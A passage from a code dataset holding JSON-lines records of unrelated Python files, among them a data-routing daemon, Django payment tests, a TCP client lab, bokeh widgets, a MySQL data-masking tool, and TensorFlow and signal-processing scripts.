ResourceV3Local.objects.update_or_create(\n ID = myGLOBALURN,\n defaults = {\n 'CreationTime': datetime.now(timezone.utc),\n 'Validity': self.DefaultValidity,\n 'Affiliation': self.Affiliation,\n 'LocalID': id_str,\n 'LocalType': contype,\n 'LocalURL': config.get('SOURCEDEFAULTURL', None),\n 'CatalogMetaURL': self.CATALOGURN_to_URL(config['CATALOGURN']),\n 'EntityJSON': item\n })\n local.save()\n except Exception as e:\n msg = '{} saving local ID={}: {}'.format(type(e).__name__, myGLOBALURN, e)\n self.logger.error(msg)\n return(False, msg)\n new[myGLOBALURN] = local\n\n try:\n resource, created = ResourceV3.objects.update_or_create(\n ID = myGLOBALURN,\n defaults = {\n 'Affiliation': self.Affiliation,\n 'LocalID': id_str,\n 'QualityLevel': self.STATUSMAP.get(item.get('publish_status', '1'), 'Production'),\n 'Name': item.get('title', myRESTYPE),\n 'ResourceGroup': myRESGROUP,\n 'Type': myRESTYPE,\n 'ShortDescription': item.get('lede'),\n 'ProviderID': None,\n 'Description': item.get('component_data',''),\n 'Topics': None,\n 'Keywords': None,\n 'Audience': self.Affiliation\n })\n resource.save()\n resource.indexing()\n except Exception as e:\n msg = '{} saving ID={}: {}'.format(type(e).__name__, myGLOBALURN, e)\n self.logger.error(msg)\n return(False, msg)\n\n myNEWRELATIONS = {} # The new relations for this item, key=related ID, value=relation type\n if id_str in GR:\n for assoc_id in GR[id_str]:\n myRESOURCEURN = self.format_GLOBALURN(self.URNPrefix, 'uiuc.edu', self.RESOURCE_CONTYPE, assoc_id)\n myNEWRELATIONS[myRESOURCEURN] = 'Documention Reference'\n self.Update_REL(myGLOBALURN, myNEWRELATIONS)\n\n self.STATS.update({me + '.Update'})\n self.logger.debug('Guide save ID={}'.format(myGLOBALURN))\n\n self.Delete_OLD(me, cur, new)\n\n self.PROCESSING_SECONDS[me] += (datetime.now(timezone.utc) - start_utc).total_seconds()\n self.log_target(me)\n return(True, '')\n\n def run(self):\n while True:\n if self.SOURCE_PARSE.scheme == 'postgresql':\n CURSOR = self.Connect_Source(self.SOURCE_PARSE)\n self.Connect_Elastic()\n self.STATS = Counter()\n self.PROCESSING_SECONDS = {}\n\n for stepconf in self.STEPS:\n start_utc = datetime.now(timezone.utc)\n pa_application = os.path.basename(__file__)\n pa_function = stepconf['DSTURL'].path\n pa_topic = stepconf['LOCALTYPE']\n pa_about = self.Affiliation\n pa_id = '{}:{}:{}:{}->{}'.format(pa_application, pa_function, pa_topic,\n stepconf['SRCURL'].scheme, stepconf['DSTURL'].scheme)\n pa = ProcessingActivity(pa_application, pa_function, pa_id , pa_topic, pa_about)\n\n if stepconf['SRCURL'].scheme != 'sql': # This is already checked in __inir__\n self.logger.error('Source scheme must be \"sql\"')\n self.exit(1)\n if stepconf['DSTURL'].scheme != 'function': # This is already checked in __inir__\n self.logger.error('Destination scheme must be \"function\"')\n self.exit(1)\n\n # Retrieve from SOURCE\n content = self.Read_SQL(CURSOR, stepconf['SRCURL'].path, stepconf['LOCALTYPE'])\n # Content does not have the expected results\n if stepconf['LOCALTYPE'] not in content:\n (rc, message) = (False, 'JSON results is missing the \\'{}\\' element'.format(stepconf['LOCALTYPE']))\n self.logger.error(message)\n pa.FinishActivity(rc, message)\n continue\n\n (rc, message) = getattr(self, pa_function)(content, stepconf['LOCALTYPE'], stepconf)\n if not rc and message == '': # No errors\n message = 'Executed {} in {:.3f}/seconds'.format(pa_function,\n (datetime.now(timezone.utc) - start_utc).total_seconds())\n pa.FinishActivity(rc, message)\n\n # Not disconnecting from Elasticsearch\n self.Disconnect_Source(CURSOR)\n\n if self.args.once:\n break\n # Continuous\n self.smart_sleep()\n return(0)\n\n def smart_sleep(self):\n # Between 6 AM and 9 PM Central\n current_sleep = self.peak_sleep if 6 <= datetime.now(Central_TZ).hour <= 21 else self.offpeak_sleep\n self.logger.debug('sleep({})'.format(current_sleep))\n sleep(current_sleep)\n\n def log_target(self, me):\n summary_msg = 'Processed {} in {:.3f}/seconds: {}/updates, {}/deletes, {}/skipped'.format(me,\n self.PROCESSING_SECONDS[me],\n self.STATS[me + '.Update'], self.STATS[me + '.Delete'], self.STATS[me + '.Skip'])\n self.logger.info(summary_msg)\n\nif __name__ == '__main__':\n router = Router()\n with PidFile(router.pidfile_path):\n try:\n router.Setup()\n rc = router.run()\n except Exception as e:\n msg = '{} Exception: {}'.format(type(e).__name__, e)\n router.logger.error(msg)\n traceback.print_exc(file=sys.stderr)\n rc = 1\n router.exit(rc)\n","sub_path":"bin/route_uiuc_v3.py","file_name":"route_uiuc_v3.py","file_ext":"py","file_size_in_byte":37010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"144466900","text":"from biaapp.models import School, Country, Child, Contributor, Payment\nfrom datetime import date\nfrom django.conf import settings\nfrom django.test import TestCase\nfrom unittest import SkipTest\n\nsettings.DISABLE_EXPECTED_DATE_CREATION = True # make sure no expected date will be filled in\n\ndef create_fixture():\n country = Country(name='Belgium', code=150)\n country.save()\n school = School(name='testschool')\n school.save()\n child = Child(pk=1, first_name='mary', surname='jones', sex='f', school=school)\n child.save()\n child2 = Child(pk=2, first_name='bob', surname='jackson', sex='m', school=school)\n child2.save()\n contributor = Contributor(first_name='john', surname='doe', aard_van_de_schenker='np', street='some street',\n street_number=4, zip_code=2010, city='city', country=country,\n payment_frequency='every month', language='nl')\n contributor.save()\n\n payments = [\n {'amount': 100, 'contributor': contributor, 'child': child2, 'date': date(2015, 9, 1),\n 'entitled': 'entitled', 'ptype': 'recurrent'},\n {'amount': 48, 'contributor': contributor, 'child': child, 'date': date(2015, 10, 1),\n 'entitled': 'entitled', 'ptype': 'recurrent'},\n {'amount': 49, 'contributor': contributor, 'child': child, 'date': date(2015, 12, 4),\n 'entitled': 'entitled', 'ptype': 'recurrent'},\n {'amount': 49.5, 'contributor': contributor, 'child': child, 'date': date(2015, 12, 16),\n 'entitled': 'entitled', 'ptype': 'single'}\n ]\n for p in payments:\n payment = Payment(**p)\n payment.save()\n\nclass ContributorTest(TestCase):\n def setUp(self):\n create_fixture()\n self.contributor = Contributor.objects.filter(surname__exact='doe')[0]\n\n def tearDown(self):\n [x.delete() for x in Payment.objects.all()]\n self.contributor.delete()\n\n def test_getLastRecurrentPayment(self):\n settings.DISABLE_EXPECTED_DATE_CREATION = False\n child = Child.objects.get(pk=1)\n child2 = Child.objects.get(pk=2)\n payment = self.contributor.getLastRecurrentPayment()\n self.assertEqual(payment.date, date(2015, 12, 4))\n payment2 = self.contributor.getLastRecurrentPayment(reference_payment=payment)\n self.assertEqual(payment2.date, date(2015, 10, 1))\n payment2 = self.contributor.getLastRecurrentPayment(reference_payment=payment, child=child)\n self.assertEqual(payment2.date, date(2015, 10, 1))\n payment2 = self.contributor.getLastRecurrentPayment(reference_payment=payment, child=child2)\n self.assertEqual(payment2.date, date(2015, 9, 1))\n settings.DISABLE_EXPECTED_DATE_CREATION = True\n\n\nclass PaymentTest(TestCase):\n def setUp(self):\n create_fixture()\n self.contributor = Contributor.objects.filter(surname__exact='doe')[0]\n self.child = Child.objects.get(pk=1)\n self.child2 = Child.objects.get(pk=2)\n\n def tearDown(self):\n [x.delete() for x in Payment.objects.all()]\n self.contributor.delete()\n\n def test_expected_date_autofill(self):\n settings.DISABLE_EXPECTED_DATE_CREATION = False\n # DISABLE_EXPECTED_DATE_CREATION was True when the fixture data was created so the previous\n # payments don't have an expected date. Therefore, the expected date of the payment we add here\n # will be the date of the previous payment + payment frequency of the contributor\n payment = Payment(amount=50, contributor=self.contributor, child=self.child, date=date(2016, 1, 20),\n entitled='entitled', ptype='recurrent')\n payment.save()\n self.assertEqual(payment.expected_date, date(2016, 1, 4))\n\n\n # However, we have set the DISABLE_EXPECTED_DATE_CREATION setting to False at the beginning of this test\n # so the payment we added earlier WILL have an expected date (2016-01-04). So if we now add another payment,\n # that payments expected date will be calculated using the expected date of the previous payment\n payment = Payment(amount=50, contributor=self.contributor, child=self.child, date=date(2016, 2, 4),\n entitled='entitled', ptype='recurrent')\n payment.save()\n self.assertEqual(payment.expected_date, date(2016, 2, 4))\n settings.DISABLE_EXPECTED_DATE_CREATION = True\n\n def test_expected_date_autofill_edit(self):\n \"\"\"\n The expected date will not be set when you edit an existing payment\n \"\"\"\n payment = Payment.objects.filter(date__exact=date(2015, 12, 4))[0]\n # now let's edit that last date\n payment.amount = 100\n payment.save()\n self.assertIsNone(payment.expected_date)\n\n def test_expected_date_autofill_diff_child(self):\n \"\"\"\n When a child is set, the expected date will be based on the last payment *FOR THAT CHILD*\n \"\"\"\n settings.DISABLE_EXPECTED_DATE_CREATION = False\n\n # pay for child 1, set expected date based on child 1\n payment = Payment(amount=50, contributor=self.contributor, child=self.child, date=date(2016, 1, 20),\n entitled='entitled', ptype='recurrent')\n payment.save()\n self.assertEqual(payment.expected_date, date(2016, 1, 4))\n\n # pay (exact same payment) for child 2, set expected date based on child 2\n payment = Payment(amount=50, contributor=self.contributor, child=self.child2, date=date(2016, 2, 4),\n entitled='entitled', ptype='recurrent')\n payment.save()\n self.assertEqual(payment.expected_date, date(2015, 10, 1)) # now the expected date is 2015-10-01 because the last payment for child2 was 2015-09-01\n settings.DISABLE_EXPECTED_DATE_CREATION = True\n","sub_path":"BIA/biaapp/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"62227409","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/python \n\"\"\"\nCreated on Thu Feb 22 17:03:26 2018\n\n@author: Arlo Eardley 1108472\n\"\"\"\nimport socket\n\n#Create the TCP socket\nTCPsocket = socket.socket()\n\n#Connect to local host on port 7000\nTCPsocket.connect(('127.0.0.1',7000))\n\n#Accept user input as mesage to send to server\nMessage = raw_input(\"Message from client: \")\n\n#Send the message to the server\nTCPsocket.send(Message.encode(\"UTF-8\"))\n\n#Close the socket \nTCPsocket.close()\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ","sub_path":"Lab2 TCP Client Exercise 1.py","file_name":"Lab2 TCP Client Exercise 1.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"569442349","text":"\"\"\"\nCustom bokeh Widget models.\n\"\"\"\nfrom __future__ import absolute_import, division, unicode_literals\n\nimport os\n\nfrom bokeh.core.properties import Int, Float, Override, Enum, Any, Bool\nfrom bokeh.models import Widget\n\nfrom ..compiler import CUSTOM_MODELS\n\n\nclass Player(Widget):\n \"\"\"\n The Player widget provides controls to play through a number of frames.\n \"\"\"\n\n __implementation__ = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'player.ts')\n\n start = Int(help=\"Lower bound of the Player slider\")\n\n end = Int(help=\"Upper bound of the Player slider\")\n\n value = Int(0, help=\"Current value of the player app\")\n\n step = Int(1, help=\"Number of steps to advance the player by.\")\n\n interval = Int(500, help=\"Interval between updates\")\n\n direction = Int(0, help=\"\"\"\n Current play direction of the Player (-1: playing in reverse,\n 0: paused, 1: playing)\"\"\")\n\n loop_policy = Enum('once', 'reflect', 'loop', default='once')\n\n width = Override(default=400)\n\n height = Override(default=250)\n\n\nclass FileInput(Widget):\n\n __implementation__ = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'fileinput.ts')\n\n value = Any(help=\"Encoded file data\")\n\n\nclass Audio(Widget):\n\n __implementation__ = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'audio.ts')\n\n loop = Bool(False, help=\"\"\"Whether the audio should loop\"\"\")\n\n paused = Bool(False, help=\"\"\"Whether the audio is paused\"\"\")\n\n time = Float(0, help=\"\"\"\n The current time stamp of the audio playback\"\"\")\n\n throttle = Int(250, help=\"\"\"\n The frequency at which the time value is updated in milliseconds.\"\"\")\n\n value = Any(help=\"Encoded file data\")\n\n volume = Int(0, help=\"\"\"The volume of the audio player.\"\"\")\n\n\nclass VideoStream(Widget):\n\n __implementation__ = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'videostream.ts')\n\n format = Enum('png', 'jpeg', default='png')\n\n paused = Bool(False, help=\"\"\"Whether the video is paused\"\"\")\n\n snapshot = Bool(False, help=\"\"\"On change generate a snapshot of the current video frame\"\"\")\n\n timeout = Float(None, help=\"\"\"\n The timeout between snapshots (if None snapshot only generated\n when snapshot property is changed\"\"\")\n\n value = Any(help=\"\"\"Snapshot Data\"\"\")\n\n height = Override(default=240)\n\n width = Override(default=320)\n\n\n\nCUSTOM_MODELS['panel.models.widgets.Player'] = Player\nCUSTOM_MODELS['panel.models.widgets.FileInput'] = FileInput\nCUSTOM_MODELS['panel.models.widgets.Audio'] = Audio\nCUSTOM_MODELS['panel.models.widgets.VideoStream'] = VideoStream\n","sub_path":"panel/models/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"567683211","text":"#encoding=utf-8#\n__author__ = 'Leon Lu'\n\nimport optparse,os,logging\nfrom mysqlToolkit import schema,utils,mixdata\n\nAPPLICATION_VERSION='0.1.0'\nAPPLICATION_NAME='MYSQL TOOLKIT TABLE DATA SYNC'\nLOG_FILENAME='mysqlToolkit_table_data_mix.log'\nDATE_FORMAT = \"%Y%m%d\"\n\ndef parse_cmd_line(fn):\n def processer(*args,**kwargs):\n usage = \"\"\" %prog [options] <-T table>\n source/target format: mysql://user:pass@host:port/database -T tables,columns\n \"\"\"\n description = \"\"\"A MySQL Table Data Mix Utility,use md5 to encrypt db data.\"\"\"\n\n parser=optparse.OptionParser(usage=usage,description=description)\n parser.add_option('-V','--version',action='store_true',dest='show_version',default=False,help=('Show version and exit.'))\n parser.add_option('-T','--table-columns',dest='table_columns',help=('''Specify data of columns of the table to encrypt,if serial tables should be encrypted,use serial -T tag.\n Format - {'talbe_name':'column_1,column_2','table_name':'xxxx'}\n '''))\n parser.add_option('-R','--reversion',action='store_true',dest='version_filename',default=False,help=('Increment the migration script version if a file with the same name already exists.'))\n parser.add_option('-O','--output-directory',dest='output_directory',default=os.getcwd(),help=('Directory to write the mix scrips.The default is current working directory.Must use absolute path if provided.'))\n parser.add_option('-L','--log-directory',dest='log_directory',help=('Set the directory to write the log to.Must use absolute path if provided.Default is output directory.Log filename is schemasync.log'))\n parser.add_option('-X','--execute',action='store_true',default=False,dest='execute',help=('Execute encrypt driectly.'))\n\n options,args = parser.parse_args()\n\n if options.show_version:\n print(APPLICATION_VERSION)\n return 0\n\n if (not args) or (len(args)<1):\n parser.print_help()\n return 0\n\n if options.table_columns is None:\n parser.print_help()\n return 0\n\n\n return fn(*args,**dict(version_filename=options.version_filename,table_columns=options.table_columns,output_directory=options.output_directory,log_directory=options.log_directory,execute=options.execute))\n\n return processer\n\ndef app(sourcedb,table_columns,version_filename=False,output_directory=None,log_directory=None,execute=False):\n logging.basicConfig(level=logging.DEBUG,format='%(levelname)s - [%(asctime)s]:%(message)s')\n options={}\n try:\n options['table_columns']=eval(table_columns)\n except:\n logging.error('Table options format error,Exiting.')\n return 1\n options['sourcedb']=sourcedb\n options['version_filename']=version_filename\n options['output_directory']=output_directory\n options['log_directory']=log_directory\n options['execute']=execute\n\n source_info=schema.parse_database_url(sourcedb)\n if not source_info.get('protocol') or not source_info.get('protocol').upper()=='MYSQL':\n logging.error('Source database must be mysql database,Exiting.')\n return 1\n if not source_info.get('db'):\n logging.error('Source database not provided,Exiting.')\n return 1\n source_obj=schema.DataBaseConnection()\n source_obj.connect(sourcedb)\n if source_obj.version < '5.0.0':\n logging.error('Source database mysql version is too low,please update your mysql version.')\n source_obj.close()\n return 1\n filters = lambda d:utils.REGEX_MULTI_SPACE.sub(' ',d),lambda d:utils.REGEX_DISTANT_SEMICOLIN.sub(';',d)\n p_fname =utils.create_pnames(source_obj.db,date_format=DATE_FORMAT,prefix='data_mix_')\n pBuffer = utils.PatchBuffer(name=os.path.join(output_directory,p_fname),filters=filters,tpl=None,ctx=None,version_filename=version_filename)\n for patch in mixdata.encrypt_data(source_obj,options):\n if patch:\n pBuffer.write(patch+'\\n')\n try:\n pBuffer.save()\n logging.info(\"Sql file have been saved to '{}'.\".format(pBuffer.name))\n except OSError as e:\n pBuffer.delete()\n logging.error('Error occurred,{}'.format(e))\n return 1\n # rBuffer = utils.PatchBuffer(name=os.path.join(output_directory,r_fname),filters=filters,tpl=None,ctx=None,version_filename=version_filename)\n finally:\n if source_obj:\n source_obj.close()\n print(pBuffer.name)\n return pBuffer.name\n# {'user_renter':'cellphone,idCard,email','user_landlord':'contactPhone,phone,address,identityId'}\nif __name__ == '__main__':\n parse_cmd_line(app)()","sub_path":"dataMix.py","file_name":"dataMix.py","file_ext":"py","file_size_in_byte":4662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"293245472","text":"#! \\Local\\Programs\\Python\\Python36\\python.exe\n# -*- coding: utf-8 -*-\n__author__ = '98221254@qq.com'\n'''\ncsv格式, 可以使用excel文件打开的纯文本字符串表格格式\n'''\nimport csv\n\n\ndef csv_list():\n with open('data.csv', 'w', encoding='utf-8') as fp:\n writer = csv.writer(fp, delimiter=' ') # write对象进行输入, delimiter表示分割符, 默认为','\n writer.writerow(['id', 'name', 'age']) # 支持列表导入\n writer.writerows([['1001', 'Bob', '24'], ['1002', '郑', '25']]) # 也支持多行导入,注意用2维列表\n\n\n# 爬虫爬取数据通常为字典类型, 因此也可以通过字典导入\ndef csv_dict():\n with open('data2.csv', 'w', encoding='utf-8') as f:\n fieldnames = ['id', 'name', 'age']\n writer = csv.DictWriter(f, fieldnames=fieldnames) # filenames来导入使用字段, 必须导入\n writer.writeheader() # 调用writeheader()先写入头信息, 才可以直接导入字典\n writer.writerow({'id': '1001', 'name': 'Bob', 'age': 24})\n writer.writerow({'id': '1002', 'name': '郑', 'age': 25})\n\n\ndef csv_open():\n with open('data2.csv', 'r', encoding='utf-8') as f:\n reader = csv.reader(f)\n for row in reader:\n if row: # 有空行\n print(row)\n\n\ncsv_list()\ncsv_dict()\ncsv_open()\n","sub_path":"学习/爬虫/崔庆才/1/010_csv.py","file_name":"010_csv.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"256450596","text":"import unittest\nfrom datamaga.config.project import ProjectConfig\nfrom datamaga.exceptions import ConfigurationError\nimport yaml\n\n\nclass ConfigurationTestCase(unittest.TestCase):\n def test_load_yaml_config(self):\n config = ProjectConfig()\n\n yaml_config = (\n 'project_name: test_project',\n 'databases:',\n ' db1:',\n ' name: database1',\n ' host: localhost',\n ' engine: postgres',\n ' password: password',\n ' username: user',\n ' db2:',\n ' name: database2',\n ' engine: postgres',\n ' host: example.org',\n ' password: password2',\n ' port: 2',\n ' username: user2',\n )\n\n yaml_config = '\\n'.join(yaml_config)\n properties = yaml.load(yaml_config)\n config.load_config(properties)\n\n self.assertEqual(config.properties.get('project_name'), 'test_project')\n self.assertEqual(len(config._databases), 2)\n\n def test_defaults(self):\n config = ProjectConfig()\n config.load_defaults()\n config_keys = set(config.properties.keys())\n expected_keys = {\n 'project_url', 'project_author', 'databases', 'project_name',\n }\n\n self.assertSetEqual(config_keys, expected_keys)\n\n def test_missing_required(self):\n properties = {\n 'project_url': 'http://example.org',\n 'project_author': 'Buck Dharma'\n }\n\n config = ProjectConfig(**properties)\n\n with self.assertRaises(ConfigurationError):\n config.validate()\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"datamaga/config/tests/test_project_config.py","file_name":"test_project_config.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"581682136","text":"\"\"\"\n * Space Junk \n * by Ira Greenberg. \n * Zoom suggestion \n * by Danny Greenberg.\n * \n * Rotating cubes in space using a custom Cube class. \n * Color controlled by light sources. Move the mouse left\n * and right to zoom.\n\"\"\"\n\nfrom Cube import Cube\n# Used for oveall rotation\nang = 0.0\n\n# Cube count-lower/raise to test P3D/OPENGL performance\nlimit = 500\n\n# Array for all cubes\ncubes = [Cube(int(random(-10, 10)), int(random(-10, 10)),\n int(random(-10, 10)), int(random(-140, 140)), \n int(random(-140, 140)), int(random(-140, 140))) \n for i in range(limit)]\n\ndef setup():\n size(1024, 768, OPENGL) \n background(0) \n noStroke()\n\ndef draw():\n background(0) \n fill(200)\n \n # Set up some different colored lights\n pointLight(51, 102, 255, 65, 60, 100) \n pointLight(200, 40, 60, -65, -60, -150)\n \n # Raise overall light in scene \n ambientLight(70, 70, 10) \n \n # Center geometry in display windwow.\n # you can change 3rd argument ('0')\n # to move block group closer(+)/further(-)\n translate(width / 2, height / 2, -200 + mouseX * 0.65)\n \n # Rotate around y and x axes\n global ang\n rotateY(radians(ang))\n rotateX(radians(ang))\n \n # Draw cubes\n for cube in cubes:\n cube.drawCube()\n \n # Used in rotate function calls above\n ang += 1\n\n\n","sub_path":"examples.py/Library/OpenGL/SpaceJunk/SpaceJunk.py","file_name":"SpaceJunk.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"169639097","text":"# Cleans the Special:FileLists page from wikisign\n# and saves the hyperlink list to a pickle\nimport pickle\nimport sys\nimport os\nimport re\nimport urllib\n\ndef main(filepath, bin_folder=\"../bin/\"):\n with open(filepath, \"r\") as fp:\n all_text = fp.read()\n urlpattern = re.compile(r'href=\"http(.*)\"')\n origin = \"http\" + urlpattern.search(all_text)[1]\n prefix = \"http://\" + urllib.parse.urlparse(origin).netloc\n partial_results = re.findall(r'[(][<]a href=\"(.*)\"[>]archivo[<][/][a][>][)]', all_text)\n \n # Changing (1) to (2)\n #http://lsc.wikisign.org/upload/7/7d/Carboni.flv (1)\n #http://lsc.wikisign.org/upload/transcoded/7/7d/Carboni.flv/Carboni.flv.480p.mp4 (2)\n results = []\n for suffix in partial_results:\n splitted_suffix = [x for x in suffix.split(\"/\") if len(x) > 0]\n\n splitted_url = [prefix] + [splitted_suffix[0]]\n splitted_url += [\"transcoded\"] + splitted_suffix[1:]\n splitted_url += [splitted_suffix[-1] + \".480p.mp4\"]\n\n results.append(\"/\".join(splitted_url))\n\n with open(bin_folder + urllib.parse.urlparse(origin).netloc + \".bin\", \"wb\") as fp:\n pickle.dump(results, fp)\n\nif __name__ == \"__main__\" :\n if os.path.exists(sys.argv[1]):\n main(sys.argv[1])\n","sub_path":"slvideorepr/wikisign_clean.py","file_name":"wikisign_clean.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"639506897","text":"# encoding = utf-8\n\nfrom General.GlobalSetting import *\nfrom SDK.SDKHeader import *\nfrom PyEMD import EMD\nimport numpy as np\nimport pylab as plt\nfrom scipy import fftpack\n\n# 准备数据\nstk_df = get_total_table_data(conn_k,'k300183')\ns = np.array(stk_df.close)\nx_axis = range(0, len(s))\n\n# 定义信号\n# t = np.linspace(0, 1, 200)\n# s = np.cos(11*2*np.pi*t*t) + 6*t*t\n\n# 对信号执行emd\nIMF = EMD().emd(s)\nN = IMF.shape[0]+1\n\n# 图示结果\nplt.subplot(N+1,1,1)\nplt.plot(x_axis, s, 'r')\n# plt.title(\"原始数据\")\n\n# 求取第一个imf的希尔伯特变换# plt.xlabel(\"日期\")\nht = fftpack.hilbert(IMF[0])\n\nplt.subplot(N+1,1,2)\nplt.plot(x_axis,ht)\n\n\nfor n, imf in enumerate(IMF):\n plt.subplot(N+1,1,n+3)\n plt.plot(x_axis, imf, 'g')\n # plt.title(\"IMF \"+str(n+1))\n # plt.xlabel(\"日期\")\n\nplt.tight_layout()\n# plt.savefig('simple_example')\nplt.show()\nend = 0\n","sub_path":"DataProcess/HHT/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"87133956","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 8 20:12:23 2018\n\n@author: rishab\n\"\"\"\n\nfrom __future__ import print_function\nimport tensorflow as tf\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nfrom tqdm import tqdm\n\nRANDOM_SEED = 42\n\nn_classes = 15\n\n\ndf = pd.read_csv('{}_labels.csv'.format(n_classes),sep=',')\n\nprint(df.shape)\n\nX = df[['protein','calories','fat','sodium']]\ny = df['TYPE']\n(N,M) = X.shape\nX = X.as_matrix()\ny = y.as_matrix()\nx = np.ones((N,M+1))\nx[:,1:] = X\nX = x\ny = np.eye(n_classes)[y]\n\n\nX_train , X_test , y_train , y_test = train_test_split(X , y , test_size=0.33, random_state=RANDOM_SEED)\n\n#Neural Network Parameters\ninput_size = 5 # 4 Features and 1 bias\nh_1 = 20\nh_2 = 60\noutput = n_classes\nlearning_rate = 0.01\n\n# Neural Network\nw_1 = tf.Variable(tf.random_normal([input_size , h_1],stddev = 0.1))\n\nw_2 = tf.Variable(tf.random_normal([h_1 , h_2] , stddev = 0.1))\n\nw_3 = tf.Variable(tf.random_normal([h_2 , output] , stddev = 0.1))\n\nX = tf.placeholder(\"float\" , shape=[None , input_size])\n\ny = tf.placeholder(\"float\" , shape=[None , output])\n\nc1 = tf.nn.leaky_relu((tf.matmul(X , w_1)))\n\nc2 = tf.nn.leaky_relu((tf.matmul(c1 , w_2)))\n\nc3 = tf.matmul(c2 , w_3)\n\npredict = tf.argmax(c3 , axis = 1)\n\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels = y, logits = c3))\n\nupdates = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost)\n\n# =============================================================================\n# # Tensorflow Session\n# saver = tf.train.Saver()\n# sess = tf.Session()\n# init = tf.global_variables_initializer()\n# sess.run(init)\n# \n# # Training\n# for epoch in range(1):\n# for i in tqdm(range(len(X_train))):\n# \t\tsess.run(updates , feed_dict = {X: X_train[i:i+1] , y: y_train[i:i+1]})\n# prediction_run = sess.run(predict , feed_dict={X: X_test[0].reshape(1,5), y: y_test[0].reshape(1,15)})\n# \n# print(\"Predicted Class is {} \".format(prediction_run ))\n# train_accuracy = np.mean(np.argmax(y_train, axis=1) == sess.run(predict, feed_dict={X: X_train, y: y_train}))\n# test_accuracy = np.mean(np.argmax(y_test , axis=1) == sess.run(predict, feed_dict={X: X_test, y: y_test}))\n# print()\n# print(\"Epoch = %d, train accuracy = %.2f%%, test accuracy = %.2f%%\" % (epoch + 1, 100. * train_accuracy, 100. * test_accuracy))\n# save_path = saver.save(sess, \"../models/\")\n# print(\"Model Saved at {} with name MLP.ckpt\".format(save_path))\n# sess.close()\n# \n# =============================================================================\n# =============================================================================\nhabit = [1,426.0,30.0,7.0,559.0]\nrecepie_type = 0\n# \nn_classes = 15\narr = habit\nX1 = np.array(arr).reshape(1,5)\ny1 = [recepie_type]\ny1 = np.eye(n_classes)[y1]\ny1 = y1[0].reshape(1,15)\ny1=y1[0]\nX1=X1[0]\nprint(X1)\nprint(y1)\n# \nsaver = tf.train.Saver()\nsess = tf.Session()\n# \ninit = tf.global_variables_initializer()\n# \nsess.run(init)\n# \n# =============================================================================\nsaver.restore(sess, save_path)\nprediction_run = sess.run(predict , feed_dict={X: X_test[0].reshape(1,5), y: y_test[0].reshape(1,15)})\nprediction_run = sess.run(predict , feed_dict={X: X1.reshape(1,5), y: y1.reshape(1,15)})\n#cost_run = sess.run(cost , feed_dict = {X: X.reshape(1,5), y: y.reshape(1,15)})\n\nprint(\"Predicted Class is {}\".format(prediction_run))\n\nsess.close()","sub_path":"ML/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"504361699","text":"# Entrypoint for the package\nfrom seashell import initiator, installed\nfrom seashell.version import current_version\nimport sys\n\ndef main(perf_debug_arg=False):\n \"\"\" Entry point for the seashell command \"\"\"\n shell = initiator.Initiate(perf_debug=perf_debug_arg)\n\ndef master_entry():\n args = sys.argv[1:]\n \n if '--debug' in args:\n main(True)\n if '--reload' in args:\n main(True) # Change this with the function call that allows a respawn\n if '--version' in args:\n print(f\"Seashell v{current_version()}\")\n else:\n main()\n\nif __name__ == \"__main__\":\n \"\"\" Entry point for development \"\"\"\n master_entry()","sub_path":"seashell/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
